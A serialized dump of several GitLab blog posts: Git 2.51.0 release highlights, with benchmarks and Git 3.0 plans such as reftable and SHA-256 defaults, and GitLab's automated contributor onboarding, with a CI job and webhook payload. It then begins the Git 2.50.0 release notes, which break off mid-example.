Next '25, the GitLab and Google Cloud partnership delivers tangible advantages for development teams facing real-world challenges – whether accelerating AI adoption, strengthening security in regulated environments, or streamlining complex deployment pipelines. The technical integration points and customer success stories shared throughout the event underscore that this collaboration continues to produce practical solutions that matter.\n\n> #### Discover how GitLab and Google Cloud can transform your application development experience at [GitLab's Google Cloud partnership page](https://about.gitlab.com/partners/technology-partners/google-cloud-platform/).",[1066,496,279,284,755],"google",{"slug":1068,"featured":6,"template":808},"gitlab-at-next-25-transforming-app-modernization",{"category":762,"slug":766,"posts":1070},[1071,1083,1096],{"content":1072,"config":1081},{"title":1073,"description":1074,"authors":1075,"heroImage":1077,"date":1078,"body":1079,"category":766,"tags":1080},"What’s new in Git 2.51.0?","Learn about the latest contributions from GitLab's Git team and the Git community, including performance optimizations for git-push(1) and git-fetch(1).",[1076],"Karthik Nayak","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png","2025-08-18","The Git project recently released [Git 2.51](https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u).\nDue to summer in the Northern Hemisphere and slower progress, this\nrelease cycle was on the shorter side of 8 weeks (typically a release cycle\nlasts about 12 weeks). Let’s look at some notable changes in this release,\nincluding contributions from the Git team at GitLab and also the wider Git\ncommunity.\n\n\n## Performance optimizations for `git-push(1)` and `git-fetch(1)`\n\n\nThe `git-push(1)` and `git-fetch(1)` commands allow users to synchronize local and remote repositories. Part of the operation involves updating references in the repository. In repositories with many references, this can take significant time, especially for users who work with large development environments, monorepos, or repositories with extensive CI/CD pipelines.\n\nGit reference transactions can include multiple reference updates, but they follow an all-or-nothing approach. If any single update within the transaction fails, the entire transaction fails and none of the reference updates are applied. But reference updates as part of `git-push(1)` and `git-fetch(1)` are allowed to fail, which allows repositories to synchronize a subset of references even in the case where a different subset has diverged. To facilitate this behavior, Git creates a separate transaction for each reference update, allowing some transactions to fail while the rest succeed. \n\nCreating a separate transaction per update incurs significant overhead, as each transaction includes an initiation and teardown phase and also checks for whether there are conflicting reference names. The “reftable” backend also performs auto-compaction at the end of a transaction, so multiple transactions would trigger multiple auto-compactions, which would drastically increase the latency of the command. \n\nIn Git 2.51.0, these commands now use batched updates instead of separate transactions. Batched updates allow updating multiple references under a single transaction, while still allowing some updates to fail. This removes the overhead and scales better with the number of references to be updated, since only a single transaction is used. This significantly improves the performance of the “reftable” backend, which now outperforms the “files” backend. Users can reap these performance improvements without needing to make any changes.\n\nFor `git-fetch(1)` we see a *22x performance improvement for the “reftable” backend* and *1.25x improvement for the “files” backend* when used in a repository with 10,000 references.\n\n\n```\n\nBenchmark 1: fetch: many refs (refformat = reftable, refcount = 10000, revision = master)\n  Time (mean ± σ):      3.403 s ±  0.775 s    [User: 1.875 s, System: 1.417 s]\n  Range (min … max):    2.454 s …  4.529 s    10 runs\n\nBenchmark 2: fetch: many refs (refformat = reftable, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     154.3 ms ±  17.6 ms    [User: 102.5 ms, System: 56.1 ms]\n  Range (min … max):   145.2 ms … 220.5 ms    18 runs\n\nSummary\n  fetch: many refs (refformat = reftable, refcount = 10000, revision = HEAD) ran\n   22.06 ± 5.62 times faster than fetch: many refs (refformat = reftable, refcount = 10000, revision = master)\n\nBenchmark 1: fetch: many refs (refformat = files, refcount = 10000, revision = master)\n  Time (mean ± σ):     605.5 ms ±   9.4 ms    [User: 117.8 ms, System: 483.3 ms]\n  Range (min … max):   595.6 ms … 621.5 ms    10 runs\n\nBenchmark 2: fetch: many refs (refformat = files, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     485.8 ms ±   4.3 ms    [User: 91.1 ms, System: 396.7 ms]\n  Range (min … max):   477.6 ms … 494.3 ms    10 runs\n\nSummary\n  fetch: many refs (refformat = files, refcount = 10000, revision = HEAD) ran\n    1.25 ± 0.02 times faster than fetch: many refs (refformat = files, refcount = 10000, revision = master)\n```\n\n\nFor `git-push(1)` we see a *18x performance improvement for the reftable backend* and *1.21x improvement for the “files” backend* when used in a repository with 10,000 references.\n\n\n```\n\nBenchmark 1: push: many refs (refformat = reftable, refcount = 10000, revision = master)\n  Time (mean ± σ):      4.276 s ±  0.078 s    [User: 0.796 s, System: 3.318 s]\n  Range (min … max):    4.185 s …  4.430 s    10 runs\n\nBenchmark 2: push: many refs (refformat = reftable, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     235.4 ms ±   6.9 ms    [User: 75.4 ms, System: 157.3 ms]\n  Range (min … max):   228.5 ms … 254.2 ms    11 runs\n\nSummary\n  push: many refs (refformat = reftable, refcount = 10000, revision = HEAD) ran\n   18.16 ± 0.63 times faster than push: many refs (refformat = reftable, refcount = 10000, revision = master)\n\nBenchmark 1: push: many refs (refformat = files, refcount = 10000, revision = master)\n  Time (mean ± σ):      1.121 s ±  0.021 s    [User: 0.128 s, System: 0.975 s]\n  Range (min … max):    1.097 s …  1.156 s    10 runs\n\nBenchmark 2: push: many refs (refformat = files, refcount = 10000, revision = HEAD)\n  Time (mean ± σ):     927.9 ms ±  22.6 ms    [User: 99.0 ms, System: 815.2 ms]\n  Range (min … max):   903.1 ms … 978.0 ms    10 runs\n\nSummary\n  push: many refs (refformat = files, refcount = 10000, revision = HEAD) ran\n    1.21 ± 0.04 times faster than push: many refs (refformat = files, refcount = 10000, revision = master)\n```\n\n\nThis [project](https://lore.kernel.org/git/20250514-501-update-git-fetch-1-to-use-partial-transactions-v1-0-7c65f46493d4@gmail.com/) was led by [Karthik Nayak](https://gitlab.com/knayakgl).\n\n\n## Planning towards Git 3.0\n\n\n11 years ago, Git 2.0 was released, which was the last major version release of Git. While we don’t have a specific timeline for the next major Git release, this release includes decisions made towards Git 3.0.\n\n\nThe Git 3.0 release planning allows us to plan for and implement breaking changes and communicate them to the extended Git community. Next to documentation, Git can also be compiled with these breaking changes for those who want to experiment with these changes. More information can be found in the [BreakingChanges document](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/BreakingChanges.adoc). \n\n\nThe Git 2.51.0 release makes some significant changes towards Git 3.0. \n\n\n### Reftable as the default reference backend\n\n\nIn the [Git 2.45.0](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/RelNotes/2.45.0.adoc?ref_type=heads) release, the “reftable” format was introduced as a new backend for storing references like branches or tags in Git, which fixes many of the issues with the existing \"files\" backend. Please read our [beginner's guide to how reftables work](https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/) for more insight into the “reftable” backend.\n\n\nThe Git 2.51.0 release marks the switch to using the \"reftable\" format as default in Git 3.0 for newly created repositories and also wires up the change behind a feature flag. The “reftable” format provides the following improvements over the traditional “files” backend:\n\n\n* It is impossible to store two references that only differ in casing on case-insensitive filesystems with the \"files\" format. This issue is common on Windows and macOS platforms. As the \"reftable\" backend does not use filesystem paths to encode reference names this problem goes away.\n\n* Similarly, macOS normalizes path names that contain unicode characters, which has the consequence that you cannot store two names with unicode characters that are encoded differently with the \"files\" backend. Again, this is not an issue with the \"reftable\" backend.\n\n* Deleting references with the \"files\" backend requires Git to rewrite the complete \"packed-refs\" file. In large repositories with many references this file can easily be dozens of megabytes in size; in extreme cases it may be gigabytes. The \"reftable\" backend uses tombstone markers for deleted references and thus does not have to rewrite all of its data.\n\n* Repository housekeeping with the \"files\" backend typically performs all-into-one repacks of references. This can be quite expensive, and consequently housekeeping is a tradeoff between the number of loose references that accumulate and slow down operations that read references, and compressing those loose references into the \"packed-refs\" file. The \"reftable\" backend uses geometric compaction after every write, which amortizes costs and ensures that the backend is always in a well-maintained state.\n\n* Operations that write multiple references at once are not atomic with the \"files\" backend. Consequently, Git may see in-between states when it reads references while a reference transaction is in the process of being committed to disk.\n\n* Writing many references at once is slow with the \"files\" backend because every reference is created as a separate file. The \"reftable\" backend significantly outperforms the \"files\" backend by multiple orders of magnitude.\n\n* The “reftable” backend uses a binary format with prefix compression for reference names. As a result, the format uses less space compared to the \"packed-refs\" file.\n\n\nThis project was led by [Patrick Steinhardt](https://gitlab.com/pks-gitlab).\n\n\n### SHA-256 as the default hash function\n\n\nThe Git version control system stores objects in a content-addressable filesystem. This means it uses the hash of an object to address content such as files, directories, and revisions, unlike traditional filesystems, which use sequential numbers. Using a hash function has the following advantages: \n\n\n* Easy integrity checks as a single bit flip would change the hash output completely.\n\n* Fast object lookup as objects can be indexed by their hash.\n\n* Object names can be signed and third parties can trust the hash to address the signed object and all objects it references.\n\n* Communication using Git protocol and out of band communication methods have a short reliable string that can be used to reliably address stored content.\n\n\nSince its inception, Git has used the SHA-1 hashing algorithm. However, security researchers have discovered some flaws in SHA-1, specifically the [SHAttered attack](https://shattered.io), which shows a practical SHA-1 hash collision. We moved to using a hardened SHA-1 implementation by default since Git 2.13.0. However, SHA-1 is still a weak hashing algorithm and it is only a matter of time before additional attacks will further reduce its security.\n\n\nSHA-256 was identified as the successor to SHA-1 in late 2018. Git 2.51.0 marks it as the default hash algorithm to be used in Git 3.0.\n\n\nThis project was led by [brian m. carlson](https://github.com/bk2204).\n\n\n### Removal of `git-whatchanged(1)`\n\n\nThe `git-whatchanged(1)` command shows logs with differences each commit introduces. While this is now succeeded by `git log --raw`, the command was kept around for historical reasons. \n\n\nGit 2.51.0 requires users of the command to explicitly use the `--i-still-use-this` flag to capture any users who still use the deprecated command, and also marks the command for removal in Git 3.0. \n\n\nThis project was led by [Junio C Hamano](https://simple.wikipedia.org/wiki/Junio_Hamano).\n\n\n## `git switch` and `git restore` are no longer experimental\n\n\nThe `git-checkout(1)` command can be used for multiple different use cases. It can be used for switching references:\n\n\n```\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master'.\n\nnothing to commit, working tree clean\n\n$ git checkout next\nSwitched to branch 'next'\nYour branch is up to date with 'origin/next'.\n```\n\n\nOr for restoring files:\n\n\n```\n$ echo \"additional line\" >> git.c\n\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master’.\n\nChanges not staged for commit:\n  (use \"git add \u003Cfile>...\" to update what will be committed)\n  (use \"git restore \u003Cfile>...\" to discard changes in working directory)\n    modified:   git.c\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n\n$ git checkout git.c\nUpdated 1 path from the index\n\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master’.\n\nnothing to commit, working tree clean\n```\n\n\nFor new users of Git, this can cause a lot of confusion. So in Git 2.33.0, these were split into two new commands, `git-switch(1)` and `git-restore(1)`.\n\nThe `git-switch(1)` command allows users to switch to a specific branch: \n\n\n```\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master'.\n\nnothing to commit, working tree clean\n\n$ git switch next\nSwitched to branch 'next'\nYour branch is up to date with 'origin/next'.\n```\n\n\nAnd the `git-restore(1)` command allows users to restore working tree files: \n\n\n```\n$ echo \"additional line\" >> git.c\n\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master’.\n\nChanges not staged for commit:\n  (use \"git add \u003Cfile>...\" to update what will be committed)\n  (use \"git restore \u003Cfile>...\" to discard changes in working directory)\n    modified:   git.c\n\nno changes added to commit (use \"git add\" and/or \"git commit -a\")\n\n$ git restore git.c\n\n$ git status\nOn branch master\nYour branch is up to date with 'origin/master’.\n\nnothing to commit, working tree clean\n```\n\n\nWhile the two commands have existed since 2019, they were marked as experimental. The effect is that the Git project doesn’t guarantee backwards compatibility for those commands: the behavior may change at any point in time. While the intent originally was to stabilize those commands after a couple of releases, this hasn’t happened up to this point.\n\nThis has led to several discussions on the Git mailing list where users are unsure whether they can start using these new commands, or whether they might eventually go away again. But given that no significant changes have ever been proposed, and that some users are already using these commands, we have decided to no longer declare them as experimental in Git 2.51.\n\nThis project was led by [Justin Tobler](https://gitlab.com/justintobler).\n\n\n## `git for-each-ref(1)` receives pagination support\n\n\nThe `git for-each-ref` command is used to list all references present in the repository. As it is part of the plumbing layer of Git, this command is frequently used for example by hosting forges to list references that exist in the repository in their UI. But as repositories grow, it becomes less realistic to list all references at once – after all, the largest repositories may contain millions of them! So instead, forges tend to paginate the references.\n\n\nThis surfaces an important gap: `git-for-each-ref` does not know to skip references from previous pages that have already been shown. Consequently, it may have to list a large number of uninteresting references before it finally starts to yield the references required for the current page. This is inefficient and leads to higher-than-necessary latency or even timeouts.\n\n\nGit 2.51.0 supports a new `--start-after` flag for `git for-each-ref`, which allows paginating the output. This can also be combined with the `--count` flag to iterate over a batch of references. \n\n\n```\n$ git for-each-ref --count=10\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-001\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-002\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-003\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-004\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-005\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-006\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-007\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-008\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-009\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-010\n\n$ git for-each-ref --count=10 --start-after=refs/heads/branch-010\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-011\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-012\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-013\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-014\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-015\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-016\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-017\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-018\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-019\n9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-020\n```\n\n\nThis project was led by [Karthik Nayak](https://gitlab.com/knayakgl).\n\n\n## What's next?\n\n\nReady to experience these improvements? Update to Git 2.51.0 and start using `git switch` and `git restore` in your daily workflow. \n\n\nFor GitLab users, these performance enhancements will automatically improve your development experience once your Git version is updated.\n\n\nLearn more in the [official Git 2.51.0 release notes](https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u) and explore our [complete archive of Git development coverage](https://about.gitlab.com/blog/tags/git/).\n",[1006,923,269],{"featured":6,"template":808,"slug":1082},"what-s-new-in-git-2-51-0",{"content":1084,"config":1094},{"title":1085,"description":1086,"body":1087,"authors":1088,"heroImage":1091,"category":766,"tags":1092,"date":1093},"How we use GitLab to grow open source communities","Learn how to use the DevSecOps platform to solve onboarding problems for new contributors.","GitLab's Contributor Success team faced a challenge.\n\nWhile our returning open source contributors were merging more code changes and collaborating on deeper features, first-time contributors were struggling to get started. We knew many newcomers to open source often gave up or never asked for help. But as advocates for [GitLab's mission](https://handbook.gitlab.com/handbook/company/mission/)\n\nto enable everyone to contribute, we wanted to do better.\n\n\nWe started running research studies on open source contributors to GitLab. Then we improved the stumbling blocks. In January, we achieved a record of 184 unique community contributors to GitLab in a single month,\n\nexceeding our team target of 170 for the first time.\n\n\nThree months later, we broke it again with 192.\n\n\nHere's how we used GitLab's own tools to solve the newcomer dilemma and grow our open source community.\n\n\n## What we learned studying first-time contributors\n\n\nIn 2023, we conducted the first-ever user study of GitLab open source contributors.\n\nWe watched six participants who had never contributed to GitLab make their first attempt. They completed diary studies and Zoom interviews detailing their experience.\n\n\nParticipants told us:\n\n\n* The contributor documentation was confusing\n\n* Getting started felt overwhelming\n\n* It wasn't clear how or where to find help\n\n\nOnly one out of the six participants successfully merged a code contribution to GitLab during the study.\n\n\nIt became clear we needed to focus on the onboarding experience if we wanted new contributors to succeed.\n\nSo we [iterated](https://handbook.gitlab.com/handbook/values/#iteration)!\n\n\nOur team spent the next year addressing their challenges. We used GitLab tools,\n\nsuch as issue templates, scheduled pipelines, webhooks, and the GitLab Query Language (GLQL), to build an innovative semi-automated onboarding solution.\n\n\nIn 2025, we performed a follow-up user study with new participants who had never made a contribution to GitLab. All 10 participants successfully created and merged contributions to GitLab, a 100% success rate. The feedback showed a great appreciation for the new onboarding process, the speed at which\n\nmaintainers checked in on contributors, and the recognition we offered to contributors.\n\n\nEven better, participants shared how much fun they had contributing:\n\n\"I felt a little rush of excitement at being able to say 'I helped build GitLab.'\"\n\n\n## We built personal onboarding with GitLab\n\n\nOur solution started with engagement.\n\nTo help newcomers get started, we introduced a personal onboarding process connecting each\n\ncontributor with a community maintainer.\n\n\nWe created an [issue template](https://gitlab.com/gitlab-community/meta/-/blob/ac0e5579a6a1cf26e367010bfcf6c7d35b38d4f8/.gitlab/issue_templates/Onboarding.md) with a clear checklist of tasks.\n\n\nThe onboarding issue also handles access approval for the\n\n[GitLab community forks](https://about.gitlab.com/blog/gitlab-community-forks/),\n\na collection of shared projects that make it easier to push changes, collaborate with others,\n\nand access GitLab Ultimate and Duo features.\n\n\nUsing [scoped labels](https://docs.gitlab.com/user/project/labels/#scoped-labels), we indicate the status of the access request for easy maintainer follow-ups.\n\n\n![GitLab onboarding issue](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/vkiyl0hrfbgcer3nz38r.png)\n\n\nWe started with a Ruby script run via a [scheduled pipeline](https://docs.gitlab.com/ci/pipelines/schedules/),\n\nchecking for new access requests and using the issue template to create personalized onboarding issues.\n\n\nFrom here, our maintainers engage with new contributors to verify access, answer questions, and find issues.\n\n\n## We standardized responses with comment templates\n\n\nWith multiple maintainers in the GitLab community, we wanted to ensure consistent and clear messaging.\n\n\nWe created [comment templates](https://docs.gitlab.com/user/profile/comment_templates/),\n\nwhich we sync with the repository using the GraphQL API and a\n\n[Ruby script](https://gitlab.com/gitlab-community/meta/-/blob/dd6e0c2861c848251424b72e3e8c5603dcaac725/bin/sync_comment_templates.rb).\n\n\nThe script is triggered in `.gitlab-ci.yml` when comment template changes are pushed\n\nto the default branch (a dry run is triggered in merge requests).\n\n\n```yaml\n\nexecute:sync-comment-templates:\n  stage: execute\n  extends: .ruby\n  script:\n    - bundle exec bin/sync_comment_templates.rb\n  variables:\n    SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_ONLY\n  rules:\n    - if: $CI_PIPELINE_SOURCE == 'schedule' || $CI_PIPELINE_SOURCE == \"trigger\"\n      when: never\n    - if: $EXECUTE_SYNC_COMMENT_TEMPLATES == '1'\n    - if: $CI_MERGE_REQUEST_IID\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        REPORT_ONLY: 1\n    - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH\n      changes:\n        - .gitlab/comment_templates/**/*\n      variables:\n        FORCE_SYNC: 1\n        DRY_RUN: 0\n        SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN: $SYNC_COMMENT_TEMPLATES_GITLAB_API_TOKEN_READ_WRITE\n```\n\n\n\n\n![GitLab comment template](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/qmfaymqhq3zgdcnm6a3j.png)\n\n\n\n\n## We eliminated the 5-minute wait time\n\n\nOur first iteration was a little slow.\n\nAfter starting the onboarding process, contributors wondered what to do next while the scheduled\n\npipeline took up to 5 minutes to create their onboarding issue.\n\nFive minutes feels like forever when you have the momentum to dive in.\n\n\n[Niklas](https://gitlab.com/Taucher2003), a member of our [Core team ](https://about.gitlab.com/community/core-team/), built a solution.\n\nHe added [webhook events for access requests](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/163094)\n\nand [custom payload templates for webhooks](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/142738).\n\n\nThese features together allowed us to trigger a pipeline immediately instead of waiting for the schedule.\n\nThis reduces the time to roughly 40 seconds (the time it takes for the CI pipeline to run)\n\nand generates the onboarding issue right away. It also saves thousands of wasted pipelines and compute minutes when no access requests actually need processing.\n\n\nWe set up a [pipeline trigger token](https://docs.gitlab.com/ci/triggers/#create-a-pipeline-trigger-token)\n\nand used this as the target for the webhook, passing the desired environment variables:\n\n\n```json\n\n{\n  \"ref\": \"main\",\n  \"variables\": {\n    \"EXECUTE_ACCESS_REQUESTS\": \"1\",\n    \"DRY_RUN\": \"0\",\n    \"PIPELINE_NAME\": \"Create onboarding issues\",\n    \"GROUP_ID\": \"{{group_id}}\",\n    \"EVENT_NAME\": \"{{event_name}}\"\n  }\n}\n\n```\n\n\n![Pipeline list](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512805/qom7hnqnwfcdzvria7dd.png)\n\n\n## We automated follow-ups\n\n\nWith an increasing volume of customers and community contributors onboarding to the GitLab community,\n\nmaintainers struggled to track which issues needed attention and some follow-up questions got lost.\n\n\nWe built automation leveraging webhooks and Ruby to label issues updated by community members.\n\nThis creates a clear signal of issue status for maintainers.\n\n\n[GitLab Triage](https://gitlab.com/gitlab-org/ruby/gems/gitlab-triage)\n\nautomatically nudges idle onboarding issues to ensure we maintain contributor momentum.\n\n\n![Automated nudge for idle GitLab onboarding issues](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512811/gkj3qaidjl1vv2dlu8ep.png)\n\n\n## We organized issue tracking with GLQL\n\n\nWe built a [GLQL view](https://docs.gitlab.com/user/glql/) to keep track of issues.\n\nThis GLQL table summarizes onboarding issues which need attention,\n\nso maintainers can review and follow up with community members.\n\n\n![GLQL view of issue tracking](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/hdduf0orntdfhkysheae.png)\n\n\nThese GLQL views improved our overall triage [efficiency](https://handbook.gitlab.com/handbook/values/#efficiency).\n\nIt was so successful we ended up using this strategy within the [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/)\n\nand [GitLab for Education](https://about.gitlab.com/solutions/education/) programs, too.\n\nWith GLQL tables for support issues, these community programs lowered their response times by 75%.\n\n\n## We made the README findable\n\n\nThe [@gitlab-community group](https://gitlab.com/gitlab-community/)\n\nis the home for contributors on Gitlab.com.\n\nWe already had a `README.md` file explaining the community forks and onboarding process, but this file\n\nlived in our meta project.\n\nWith our follow-up user study, we discovered this was a point of confusion for newcomers when their\n\nonboarding issues were under a different project.\n\n\nWe used [GitLab's project mirroring](https://docs.gitlab.com/user/project/repository/mirror/)\n\nto solve this and mirrored the meta project to `gitlab-profile`.\n\nThis surfaced the existing README file at the group level, making it easier to discover.\n\n\n![GitLab project mirroiring](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512809/kbgdxyilza71kmj0aeqt.png)\n\n\n![Group README](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512804/taosgn8vvgo8onszuwaf.png)\n\n\n## The results speak for themselves\n\n\nBy dogfooding GitLab, we improved the stumbling blocks found in our research studies\n\nand transformed the GitLab contributor journey.\n\nWe have grown the number of customers and community members contributing to GitLab,\n\nadding features to the product, solving bugs, and adding to our CI/CD catalog.\n\n\nOur onboarding process has increased the rate newcomers join the community, and our total number of\n\ncontributors on the community forks has doubled over the last 9 months.\n\n\n![Community forks growth chart](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512803/xagra4vfsrhbcwnzekmp.png)\n\n\nWe reduced the time it takes for newcomers to make their first contribution by connecting them\n\nwith maintainers faster and supporting them in getting started.\n\nWe use [GitLab's value stream analytics](https://docs.gitlab.com/user/group/value_stream_analytics/)\n\nto track our response rates.\n\n\n* First response time from community maintainers is down to 46 minutes over the last 3 months\n\n* Average approval time for community forks access is down to 1 hour over the last 3 months\n\n\n![Value stream analytics timeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752512812/jzksakrfdb22hooqemzh.png)\n\n\nThe 100% success rate of our 2025 user study confirmed these improvements for our first-time contributors.\n\n\n## We invested time savings into contributor recognition\n\n\nFixing these newcomer challenges allowed us more capacity to focus on better recognition of\n\ncontributors, incentivizing first-timers to keep coming back.\n\nThe result is [contributors.gitlab.com](https://contributors.gitlab.com/).\n\nWe built out a central hub for our contributors that features gamified leaderboards,\n\nachievements, and rewards.\n\nContributors can see their impact, track progress, and grow in the community.\n\n\n## Sharing what we learned\n\n\nThese improvements work and are repeatable for other open source projects.\n\nWe are sharing our approach across communities and conferences so that other projects can consider using these tools to grow.\n\n\nAs more organizations learn the barriers to participation, we can create a more welcoming open source environment.\n\nWith these GitLab tools, we can offer a smoother experience for both contributors and maintainers.\n\nWe're committed to advancing this work and collaborating to remove barriers for open source projects everywhere.\n\n\n## Start the conversation\n\n\nWant to learn more about growing your contributor community?\n\nEmail `contributors@gitlab.com` or [open an issue](https://gitlab.com/gitlab-org/developer-relations/contributor-success/team-task/-/issues)\n\nto start a discussion.\n\nWe're here to help build communities.\n",[1089,1090],"Lee Tickett","Daniel Murphy","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099558/Blog/Hero%20Images/Blog/Hero%20Images/gitlabflatlogomap_gitlabflatlogomap.png_1750099558369.png",[923,269,776],"2025-07-15",{"featured":6,"template":808,"slug":1095},"how-we-use-gitlab-to-grow-open-source-communities",{"content":1097,"config":1105},{"title":1098,"description":1099,"authors":1100,"heroImage":1077,"body":1102,"date":1103,"category":766,"tags":1104},"What’s new in Git 2.50.0?","Here are contributions from GitLab's Git team and the Git community such as the git-diff-pairs(1) command and git-update-ref(1) option to perform batched reference updates.",[1101],"Justin Tobler","The Git project recently released [Git Version\n2.50.0](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/T/#u). Let's\nlook at a few notable highlights from this release, which includes\ncontributions from the Git team at GitLab and also the wider Git community.\n\n## New git-diff-pairs(1) command\n\n\nDiffs are at the heart of every code review and show all the changes made\n\nbetween two revisions. GitLab shows diffs in various places, but the most\n\ncommon place is a merge request's [\"Changes\"\ntab](https://docs.gitlab.com/user/project/merge_requests/changes/).\n\nBehind the scenes, diff generation is powered by\n\n[`git-diff(1)`](https://git-scm.com/docs/git-diff). For example:\n\n\n```shell\n\n$ git diff HEAD~1 HEAD\n\n```\n\n\nThis command returns the full diff for all changed files. This might pose a\nscalability challenge because the number of files changed between a set of\nrevisions could be very large and cause the command to reach self-imposed\ntimeouts for the GitLab backend. For large change sets, it would be better\nif\n\nthere were a way to break diff computation into smaller, more digestible\nchunks.\n\n\nOne way this can be achieved is by using\n\n[`git-diff-tree(1)`](https://git-scm.com/docs/git-diff-tree) to retrieve\ninfo\n\nabout all the changed files:\n\n\n```shell\n\n$ git diff-tree -r -M --abbrev HEAD~ HEAD\n\n:100644 100644 c9adfed339 99acf81487 M     \nDocumentation/RelNotes/2.50.0.adoc\n\n:100755 100755 1047b8d11d 208e91a17f M      GIT-VERSION-GEN\n\n```\n\n\nGit refers to this output as the [\"raw\"\nformat](https://git-scm.com/docs/git-diff-tree#_raw_output_format).\n\nIn short, each line of output lists filepairs and the accompanying metadata\n\nabout what has changed between the start and end revisions. Compared to\n\ngenerating the \"patch\" output for large changes, this process is relatively\n\nquick and provides a summary of everything that changed. This command can\noptionally perform rename detection by  appending the `-M` flag to check if\nidentified changes were due to a file rename.\n\n\nWith this information, we could use `git-diff(1)` to compute each of the\n\nfilepair diffs individually. For example, we can provide the blob IDs\n\ndirectly:\n\n\n```shell\n\n$ git diff 1047b8d11de767d290170979a9a20de1f5692e26\n208e91a17f04558ca66bc19d73457ca64d5385f\n\n```\n\n\nWe can repeat this process for each of the filepairs, but spinning up a\n\nseparate Git process for each individual file diff is not very efficient.\n\nFurthermore, when using blob IDs, the diff loses some contextual information\n\nsuch as the change status, and file modes which are stored in with the\nparent\n\ntree object. What we really want is a mechanism to feed \"raw\" filepair info\nand\n\ngenerate the corresponding patch output.\n\n\nWith the 2.50 release, Git has a new built-in command named\n\n[`git-diff-pairs(1)`](https://git-scm.com/docs/git-diff-pairs). This command\n\naccepts \"raw\" formatted filepair info as input on stdin to determine exactly\nwhich patches to output. The following example showcases how this command\ncould be\n\nused:\n\n\n```shell\n\n$ git diff-tree -r -z -M HEAD~ HEAD | git diff-pairs -z\n\n```\n\n\nWhen used in this manner, the resulting output is identical to using\n`git-diff(1)`.\n\nBy having a separate command to generate patch output, the \"raw\" output from\n\n`git-diff-tree(1)` can be broken up into smaller batches of filepairs and\nfed to separate\n\n`git-diff-pairs(1)` processes. This solves the previously mentioned\nscalability\n\nconcern because diffs no longer have to be computed all at once. Future\nGitLab\n\nreleases could build upon this mechanism to improve diff\n\ngeneration performance, especially in cases where large change sets are\n\nconcerned. For more information on this change, check out the corresponding\n\n[mailing-list\nthread](https://lore.kernel.org/git/20250228213346.1335224-1-jltobler@gmail.com/).\n\n\n_This project was led by [Justin Tobler](https://gitlab.com/justintobler)._\n\n\n## Batched reference updates\n\n\nGit provides the\n[`git-update-ref(1)`](https://git-scm.com/docs/git-update-ref)\n\ncommand to perform reference updates. When used with the `--stdin` flag,\n\nmultiple reference updates can be batched together in a single transaction\nby\n\nspecifying instructions for each reference update to be performed on stdin.\n\nBulk updating references in this manner also provides atomic behavior\nwhereby a\n\nsingle reference update failure results in an aborted transaction and no\n\nreferences being updated. Here is an example showcasing this behavior:\n\n\n```shell\n\n# Create repository with three empty commits and branch named \"foo\"\n\n$ git init\n\n$ git commit --allow-empty -m 1\n\n$ git commit --allow-empty -m 2\n\n$ git commit --allow-empty -m 3\n\n$ git branch foo\n\n\n# Print out the commit IDs\n\n$ git rev-list HEAD\n\ncf469bdf5436ea1ded57670b5f5a0797f72f1afc\n\n5a74cd330f04b96ce0666af89682d4d7580c354c\n\n5a6b339a8ebffde8c0590553045403dbda831518\n\n\n# Attempt to create a new reference and update existing reference in\ntransaction.\n\n# Update is expected to fail because the specified old object ID doesn’t\nmatch.\n\n$ 